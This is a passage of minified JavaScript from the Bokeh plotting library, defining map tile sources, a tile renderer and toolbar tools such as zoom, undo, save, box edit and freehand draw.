Math.floor(t/Math.pow(2,i))},t}(r.TileSource);(i.MercatorTileSource=a).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"QUADKEYTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2],l=this.tile_xyz_to_quadkey(o,s,a);return n.replace(\\\"{Q}\\\",l)},t}(r.MercatorTileSource);(i.QUADKEYTileSource=o).initClass()},function(t,e,i){var r=t(391),o=t(223),n=t(231),s=t(189),a=t(184),l=t(5),h=t(15),I=t(21),u=t(44),c=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return r.__extends(t,n),t.prototype.initialize=function(t){this.attributionEl=null,this._tiles=[],n.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype.get_extent=function(){return[this.x_range.start,this.y_range.start,this.x_range.end,this.y_range.end]},Object.defineProperty(t.prototype,\\\"map_plot\\\",{get:function(){return this.plot_model.plot},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_canvas\\\",{get:function(){return this.plot_view.canvas_view.ctx},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_frame\\\",{get:function(){return this.plot_model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"x_range\\\",{get:function(){return this.map_plot.x_range},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_range\\\",{get:function(){return this.map_plot.y_range},enumerable:!0,configurable:!0}),t.prototype._set_data=function(){this.pool=new o.ImagePool,this.extent=this.get_extent(),this._last_height=void 0,this._last_width=void 0},t.prototype._add_attribution=function(){var t=this.model.tile_source.attribution;if(u.isString(t)&&0<t.length){if(null==this.attributionEl){var e=this.plot_model.canvas._right.value-this.plot_model.frame._right.value,i=this.plot_model.canvas._bottom.value-this.plot_model.frame._bottom.value,n=this.map_frame._width.value;this.attributionEl=l.div({class:\\\"bk-tile-attribution\\\",style:{position:\\\"absolute\\\",bottom:i+\\\"px\\\",right:e+\\\"px\\\",\\\"max-width\\\":n-4+\\\"px\\\",padding:\\\"2px\\\",\\\"background-color\\\":\\\"rgba(255,255,255,0.5)\\\",\\\"font-size\\\":\\\"7pt\\\",\\\"font-family\\\":\\\"sans-serif\\\",\\\"line-height\\\":\\\"1.05\\\",\\\"white-space\\\":\\\"nowrap\\\",overflow:\\\"hidden\\\",\\\"text-overflow\\\":\\\"ellipsis\\\"}});var r=this.plot_view.canvas_view.events_el;r.appendChild(this.attributionEl)}this.attributionEl.innerHTML=t,this.attributionEl.title=this.attributionEl.textContent.replace(/\\\\s*\\\\n\\\\s*/g,\\\" \\\")}},t.prototype._map_data=function(){this.initial_extent=this.get_extent();var t=this.model.tile_source.get_level_by_extent(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value),e=this.model.tile_source.snap_to_zoom_level(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value,t);this.x_range.start=e[0],this.y_range.start=e[1],this.x_range.end=e[2],this.y_range.end=e[3],this.x_range instanceof a.Range1d&&(this.x_range.reset_start=e[0],this.x_range.reset_end=e[2]),this.y_range instanceof a.Range1d&&(this.y_range.reset_start=e[1],this.y_range.reset_end=e[3]),this._add_attribution()},t.prototype._on_tile_load=function(t,e){t.img=e.target,t.loaded=!0,this.request_render()},t.prototype._on_tile_cache_load=function(t,e){t.img=e.target,t.loaded=!0,t.finished=!0,this.notify_finished()},t.prototype._on_tile_error=function(t){t.finished=!0},t.prototype._create_tile=function(t,e,i,n,r){void 0===r&&(r=!1);var o=this.model.tile_source.normalize_xyz(t,e,i),s=o[0],a=o[1],l=o[2],h=this.pool.pop(),u={img:h,tile_coords:[t,e,i],normalized_coords:[s,a,l],quadkey:this.model.tile_source.tile_xyz_to_quadkey(t,e,i),cache_key:this.model.tile_source.tile_xyz_to_key(t,e,i),bounds:n,loaded:!1,finished:!1,x_coord:n[0],y_coord:n[3]};h.onload=r?this._on_tile_cache_load.bind(this,u):this._on_tile_load.bind(this,u),h.onerror=this._on_tile_error.bind(this,u),h.alt=\\\"\\\",h.src=this.model.tile_source.get_image_url(s,a,l),this.model.tile_source.tiles[u.cache_key]=u,this._tiles.push(u)},t.prototype._enforce_aspect_ratio=function(){if(this._last_height!==this.map_frame._height.value||this._last_width!==this.map_frame._width.value){var t=this.get_extent(),e=this.model.tile_source.get_level_by_extent(t,this.map_frame._height.value,this.map_frame._width.value),i=this.model.tile_source.snap_to_zoom_level(t,this.map_frame._height.value,this.map_frame._width.value,e);this.x_range.setv({start:i[0],end:i[2]}),this.y_range.setv({start:i[1],end:i[3]}),this.extent=i,this._last_height=this.map_frame._height.value,this._last_width=this.map_frame._width.value}},t.prototype.has_finished=function(){if(!n.prototype.has_finished.call(this))return!1;if(0===this._tiles.length)return!1;for(var t=0,e=this._tiles;t<e.length;t++){var i=e[t];if(!i.finished)return!1}return!0},t.prototype.render=function(){null==this.map_initialized&&(this._set_data(),this._map_data(),this.map_initialized=!0),this._enforce_aspect_ratio(),this._update(),null!=this.prefetch_timer&&clearTimeout(this.prefetch_timer),this.prefetch_timer=setTimeout(this._prefetch_tiles.bind(this),500),this.has_finished()&&this.notify_finished()},t.prototype._draw_tile=function(t){var e=this.model.tile_source.tiles[t];if(null!=e){var i=this.plot_view.map_to_screen([e.bounds[0]],[e.bounds[3]]),n=i[0][0],r=i[1][0],o=this.plot_view.map_to_screen([e.bounds[2]],[e.bounds[1]]),s=o[0][0],a=o[1][0],l=s-n,h=a-r,u=n,c=r,_=this.map_canvas.getImageSmoothingEnabled();this.map_canvas.setImageSmoothingEnabled(this.model.smoothing),this.map_canvas.drawImage(e.img,u,c,l,h),this.map_canvas.setImageSmoothingEnabled(_),e.finished=!0}},t.prototype._set_rect=function(){var t=this.plot_model.plot.properties.outline_line_width.value(),e=this.map_frame._left.value+t/2,i=this.map_frame._top.value+t/2,n=this.map_frame._width.value-t,r=this.map_frame._height.value-t;this.map_canvas.rect(e,i,n,r),this.map_canvas.clip()},t.prototype._render_tiles=function(t){this.map_canvas.save(),this._set_rect(),this.map_canvas.globalAlpha=this.model.alpha;for(var e=0,i=t;e<i.length;e++){var n=i[e];this._draw_tile(n)}this.map_canvas.restore()},t.prototype._prefetch_tiles=function(){for(var t=this.model.tile_source,e=this.get_extent(),i=this.map_frame._height.value,n=this.map_frame._width.value,r=this.model.tile_source.get_level_by_extent(e,i,n),o=this.model.tile_source.get_tiles_by_extent(e,r),s=0,a=Math.min(10,o.length);s<a;s++)for(var l=o[s],h=l[0],u=l[1],c=l[2],_=this.model.tile_source.children_by_tile_xyz(h,u,c),p=0,d=_;p<d.length;p++){var f=d[p],v=f[0],m=f[1],g=f[2],y=f[3];t.tile_xyz_to_key(v,m,g)in t.tiles||this._create_tile(v,m,g,y,!0)}},t.prototype._fetch_tiles=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=n[2],a=n[3];this._create_tile(r,o,s,a)}},t.prototype._update=function(){var t=this,e=this.model.tile_source,i=e.min_zoom,n=e.max_zoom,r=this.get_extent(),o=this.extent[2]-this.extent[0]<r[2]-r[0],s=this.map_frame._height.value,a=this.map_frame._width.value,l=e.get_level_by_extent(r,s,a),h=!1;l<i?(r=this.extent,l=i,h=!0):n<l&&(r=this.extent,l=n,h=!0),h&&(this.x_range.setv({x_range:{start:r[0],end:r[2]}}),this.y_range.setv({start:r[1],end:r[3]}),this.extent=r),this.extent=r;for(var u=e.get_tiles_by_extent(r,l),c=[],_=[],p=[],d=[],f=0,v=u;f<v.length;f++){var m=v[f],g=m[0],y=m[1],b=m[2],x=e.tile_xyz_to_key(g,y,b),w=e.tiles[x];if(null!=w&&w.loaded)_.push(x);else if(this.model.render_parents){var k=e.get_closest_parent_by_tile_xyz(g,y,b),S=k[0],C=k[1],T=k[2],A=e.tile_xyz_to_key(S,C,T),E=e.tiles[A];if(null!=E&&E.loaded&&!I.includes(p,A)&&p.push(A),o)for(var M=e.children_by_tile_xyz(g,y,b),O=0,z=M;O<z.length;O++){var P=z[O],j=P[0],N=P[1],F=P[2],D=e.tile_xyz_to_key(j,N,F);D in e.tiles&&d.push(D)}}null==w&&c.push(m)}this._render_tiles(p),this._render_tiles(d),this._render_tiles(_),null!=this.render_timer&&clearTimeout(this.render_timer),this.render_timer=setTimeout(function(){return t._fetch_tiles(c)},65)},t}(s.RendererView);i.TileRendererView=c;var _=function(e){function t(t){return e.call(this,t)||this}return r.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileRenderer\\\",this.prototype.default_view=c,this.define({alpha:[h.Number,1],x_range_name:[h.String,\\\"default\\\"],y_range_name:[h.String,\\\"default\\\"],smoothing:[h.Bool,!0],tile_source:[h.Instance,function(){return new n.WMTSTileSource}],render_parents:[h.Bool,!0]}),this.override({level:\\\"underlay\\\"})},t}(s.Renderer);(i.TileRenderer=_).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(223),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileSource\\\",this.define({url:[s.String,\\\"\\\"],tile_size:[s.Number,256],max_zoom:[s.Number,30],min_zoom:[s.Number,0],extra_url_vars:[s.Any,{}],attribution:[s.String,\\\"\\\"],x_origin_offset:[s.Number],y_origin_offset:[s.Number],initial_resolution:[s.Number]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.tiles={},this.pool=new o.ImagePool,this._normalize_case()},t.prototype.string_lookup_replace=function(t,e){var i=t;for(var n in e){var r=e[n];i=i.replace(\\\"{\\\"+n+\\\"}\\\",r)}return i},t.prototype._normalize_case=function(){var t=this.url.replace(\\\"{x}\\\",\\\"{X}\\\").replace(\\\"{y}\\\",\\\"{Y}\\\").replace(\\\"{z}\\\",\\\"{Z}\\\").replace(\\\"{q}\\\",\\\"{Q}\\\").replace(\\\"{xmin}\\\",\\\"{XMIN}\\\").replace(\\\"{ymin}\\\",\\\"{YMIN}\\\").replace(\\\"{xmax}\\\",\\\"{XMAX}\\\").replace(\\\"{ymax}\\\",\\\"{YMAX}\\\");this.url=t},t.prototype.tile_xyz_to_key=function(t,e,i){return t+\\\":\\\"+e+\\\":\\\"+i},t.prototype.key_to_tile_xyz=function(t){var e=t.split(\\\":\\\").map(function(t){return parseInt(t)}),i=e[0],n=e[1],r=e[2];return[i,n,r]},t.prototype.sort_tiles_from_center=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3],s=(r-i)/2+i,a=(o-n)/2+n;t.sort(function(t,e){var i=Math.sqrt(Math.pow(s-t[0],2)+Math.pow(a-t[1],2)),n=Math.sqrt(Math.pow(s-e[0],2)+Math.pow(a-e[1],2));return i-n})},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.Model);(i.TileSource=a).initClass()},function(t,e,i){var n=t(33);function c(t,e){return n.wgs84_mercator.forward([t,e])}function _(t,e){return n.wgs84_mercator.inverse([t,e])}i.geographic_to_meters=c,i.meters_to_geographic=_,i.geographic_extent_to_meters=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=c(e,i),s=o[0],a=o[1],l=c(n,r),h=l[0],u=l[1];return[s,a,h,u]},i.meters_extent_to_geographic=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=_(e,i),s=o[0],a=o[1],l=_(n,r),h=l[0],u=l[1];return[s,a,h,u]}},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TMSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.MercatorTileSource);(i.TMSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WMTSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2];return n.replace(\\\"{X}\\\",o.toString()).replace(\\\"{Y}\\\",s.toString()).replace(\\\"{Z}\\\",a.toString())},t}(r.MercatorTileSource);(i.WMTSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(19),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._clicked=function(){this.model.do.emit()},e}(r.ButtonToolButtonView);i.ActionToolButtonView=s;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.do,function(){return t.doit()})},t}(r.ButtonToolView);i.ActionToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=s,e.do=new o.Signal0(e,\\\"do\\\"),e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ActionTool\\\"},t}(r.ButtonTool);(i.ActionTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button-custom-action\\\")},e}(r.ActionToolButtonView);i.CustomActionButtonView=a;var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.model.callback;s.isFunction(t)?t(this,{}):t.execute(this,{})},e}(r.ActionToolView);i.CustomActionView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Custom Action\\\",e.button_view=a,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CustomAction\\\",this.prototype.default_view=l,this.define({action_tooltip:[o.String,\\\"Perform a Custom Action\\\"],callback:[o.Any],icon:[o.String]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.action_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.CustomAction=h).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){window.open(this.model.redirect)},e}(r.ActionToolView);i.HelpToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Help\\\",e.icon=\\\"bk-tool-icon-help\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HelpTool\\\",this.prototype.default_view=s,this.define({help_tooltip:[o.String,\\\"Click the question mark to learn more about Bokeh plot tools.\\\"],redirect:[o.String,\\\"https://bokeh.pydata.org/en/latest/docs/user_guide/tools.html#built-in-tools\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.help_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.HelpTool=a).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_redo()})},t.prototype.doit=function(){this.plot_view.redo()},t}(r.ActionToolView);i.RedoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Redo\\\",e.icon=\\\"bk-tool-icon-redo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RedoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.RedoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.reset()},e}(r.ActionToolView);i.ResetToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Reset\\\",e.icon=\\\"bk-tool-icon-reset\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ResetTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.ResetTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.save(\\\"bokeh_plot\\\")},e}(r.ActionToolView);i.SaveToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Save\\\",e.icon=\\\"bk-tool-icon-save\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"SaveTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.SaveTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_undo()})},t.prototype.doit=function(){this.plot_view.undo()},t}(r.ActionToolView);i.UndoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Undo\\\",e.icon=\\\"bk-tool-icon-undo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"UndoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.UndoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomInToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom In\\\",e.icon=\\\"bk-tool-icon-zoom-in\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomInTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomInTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,-this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomOutToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom Out\\\",e.icon=\\\"bk-tool-icon-zoom-out\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomOutTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomOutTool=l).initClass()},function(t,e,i){var n=t(391),r=t(6),o=t(266),s=t(5),a=t(15),l=t(38),h=t(44),u=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.change,function(){return e.render()}),this.el.addEventListener(\\\"click\\\",function(){return e._clicked()}),this.render()},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button\\\")},t.prototype.render=function(){s.empty(this.el);var t=this.model.computed_icon;h.isString(t)&&(l.startsWith(t,\\\"data:image\\\")?this.el.style.backgroundImage=\\\"url('\\\"+t+\\\"')\\\":this.el.classList.add(t)),this.el.title=this.model.tooltip},t}(r.DOMView);i.ButtonToolButtonView=u;var c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(o.ToolView);i.ButtonToolView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ButtonTool\\\",this.internal({disabled:[a.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t}(o.Tool);(i.ButtonTool=_).initClass()},function(t,e,i){var n=t(391),o=t(5),r=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){if(null==this._draw_basepoint&&null==this._basepoint){var e=t.shiftKey;this._select_event(t,e,this.model.renderers)}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];if(t.keyCode===o.Keys.Backspace)this._delete_selected(n);else if(t.keyCode==o.Keys.Esc){var r=n.data_source;r.selection_manager.clear()}}},e.prototype._set_extent=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l=this.model.renderers[0],h=this.plot_model.frame,u=l.glyph,c=l.data_source,_=h.xscales[l.x_range_name],p=h.yscales[l.y_range_name],d=_.r_invert(r,o),f=d[0],v=d[1],m=p.r_invert(s,a),g=m[0],y=m[1],b=[(f+v)/2,(g+y)/2],x=b[0],w=b[1],k=[v-f,y-g],S=k[0],C=k[1],T=[u.x.field,u.y.field],A=T[0],E=T[1],M=[u.width.field,u.height.field],O=M[0],z=M[1];if(i)this._pop_glyphs(c,this.model.num_objects),A&&c.get_array(A).push(x),E&&c.get_array(E).push(w),O&&c.get_array(O).push(S),z&&c.get_array(z).push(C),this._pad_empty_columns(c,[A,E,O,z]);else{var P=c.data[A].length-1;A&&(c.data[A][P]=x),E&&(c.data[E][P]=w),O&&(c.data[O][P]=S),z&&(c.data[z][P]=C)}this._emit_cds_changes(c,!0,!1,n)},e.prototype._update_box=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),null!=this._draw_basepoint){var n=[t.sx,t.sy],r=this.plot_model.frame,o=this.model.dimensions,s=this.model._get_dim_limits(this._draw_basepoint,n,r,o);if(null!=s){var a=s[0],l=s[1];this._set_extent(a,l,e,i)}}},e.prototype._doubletap=function(t){this.model.active&&(null!=this._draw_basepoint?(this._update_box(t,!1,!0),this._draw_basepoint=null):(this._draw_basepoint=[t.sx,t.sy],this._select_event(t,!0,this.model.renderers),this._update_box(t,!0,!1)))},e.prototype._move=function(t){this._update_box(t,!1,!1)},e.prototype._pan_start=function(t){if(t.shiftKey){if(null!=this._draw_basepoint)return;this._draw_basepoint=[t.sx,t.sy],this._update_box(t,!0,!1)}else{if(null!=this._basepoint)return;this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy]}},e.prototype._pan=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),t.shiftKey){if(null==this._draw_basepoint)return;this._update_box(t,e,i)}else{if(null==this._basepoint)return;this._drag_points(t,this.model.renderers)}},e.prototype._pan_end=function(t){if(this._pan(t,!1,!0),t.shiftKey)this._draw_basepoint=null;else{this._basepoint=null;for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}}},e}(s.EditToolView);i.BoxEditToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Edit Tool\\\",e.icon=\\\"bk-tool-icon-box-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxEditTool\\\",this.prototype.default_view=a,this.define({dimensions:[r.Dimensions,\\\"both\\\"],num_objects:[r.Int,0]})},t}(s.EditTool);(i.BoxEditTool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(21),l=t(44),s=t(251),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._mouse_in_frame=!0,t}return n.__extends(t,e),t.prototype._move_enter=function(t){this._mouse_in_frame=!0},t.prototype._move_exit=function(t){this._mouse_in_frame=!1},t.prototype._map_drag=function(t,e,i){var n=this.plot_model.frame;if(!n.bbox.contains(t,e))return null;var r=n.xscales[i.x_range_name].invert(t),o=n.yscales[i.y_range_name].invert(e);return[r,o]},t.prototype._delete_selected=function(t){var e=t.data_source,i=e.selected.indices;i.sort();for(var n=0,r=e.columns();n<r.length;n++)for(var o=r[n],s=e.get_array(o),a=0;a<i.length;a++){var l=i[a];s.splice(l-a,1)}this._emit_cds_changes(e)},t.prototype._pop_glyphs=function(t,e){var i=t.columns();if(e&&i.length)for(var n=0,r=i;n<r.length;n++){var o=r[n],s=t.get_array(o),a=s.length-e+1;a<1||(l.isArray(s)||(s=Array.from(s),t.data[o]=s),s.splice(0,a))}},t.prototype._emit_cds_changes=function(t,e,i,n){void 0===e&&(e=!0),void 0===i&&(i=!0),void 0===n&&(n=!0),i&&t.selection_manager.clear(),e&&t.change.emit(),n&&(t.data=t.data,t.properties.data.change.emit())},t.prototype._drag_points=function(t,e){if(null!=this._basepoint){for(var i=this._basepoint,n=i[0],r=i[1],o=0,s=e;o<s.length;o++){var a=s[o],l=this._map_drag(n,r,a),h=this._map_drag(t.sx,t.sy,a);if(null!=h&&null!=l){for(var u=h[0],c=h[1],_=l[0],p=l[1],d=[u-_,c-p],f=d[0],v=d[1],m=a.glyph,g=a.data_source,y=[m.x.field,m.y.field],b=y[0],x=y[1],w=0,k=g.selected.indices;w<k.length;w++){var S=k[w];b&&(g.data[b][S]+=f),x&&(g.data[x][S]+=v)}g.change.emit()}}this._basepoint=[t.sx,t.sy]}},t.prototype._pad_empty_columns=function(t,e){for(var i=0,n=t.columns();i<n.length;i++){var r=n[i];o.includes(e,r)||t.get_array(r).push(this.model.empty_value)}},t.prototype._select_event=function(t,e,i){var n=this.plot_model.frame,r=t.sx,o=t.sy;if(!n.bbox.contains(r,o))return[];for(var s={type:\\\"point\\\",sx:r,sy:o},a=[],l=0,h=i;l<h.length;l++){var u=h[l],c=u.get_selection_manager(),_=u.data_source,p=[this.plot_view.renderer_views[u.id]],d=c.select(p,s,!0,e);d&&a.push(u),_.properties.selected.change.emit()}return a},t}(s.GestureToolView);i.EditToolView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EditTool\\\",this.define({custom_icon:[r.String],custom_tooltip:[r.String],empty_value:[r.Any],renderers:[r.Array,[]]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.custom_tooltip||this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.custom_icon||this.icon},enumerable:!0,configurable:!0}),t}(s.GestureTool);(i.EditTool=h).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),v=t(44),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._draw=function(t,e,i){if(void 0===i&&(i=!1),this.model.active){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=r[0],s=r[1],a=n.data_source,l=n.glyph,h=[l.xs.field,l.ys.field],u=h[0],c=h[1];if(\\\"new\\\"==e)this._pop_glyphs(a,this.model.num_objects),u&&a.get_array(u).push([o]),c&&a.get_array(c).push([s]),this._pad_empty_columns(a,[u,c]);else if(\\\"add\\\"==e){if(u){var _=a.data[u].length-1,p=a.get_array(u)[_];v.isArray(p)||(p=Array.from(p),a.data[u][_]=p),p.push(o)}if(c){var d=a.data[c].length-1,f=a.get_array(c)[d];v.isArray(f)||(f=Array.from(f),a.data[c][d]=f),f.push(s)}}this._emit_cds_changes(a,!0,!0,i)}}},e.prototype._pan_start=function(t){this._draw(t,\\\"new\\\")},e.prototype._pan=function(t){this._draw(t,\\\"add\\\")},e.prototype._pan_end=function(t){this._draw(t,\\\"add\\\",!0)},e.prototype._tap=function(t){this._select_event(t,t.shiftKey,this.model.renderers)},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Esc?n.data_source.selection_manager.clear():t.keyCode===r.Keys.Backspace&&this._delete_selected(n)}},e}(s.EditToolView);i.FreehandDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Freehand Draw Tool\\\",e.icon=\\\"bk-tool-icon-freehand-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\"],e.default_order=3,e}return 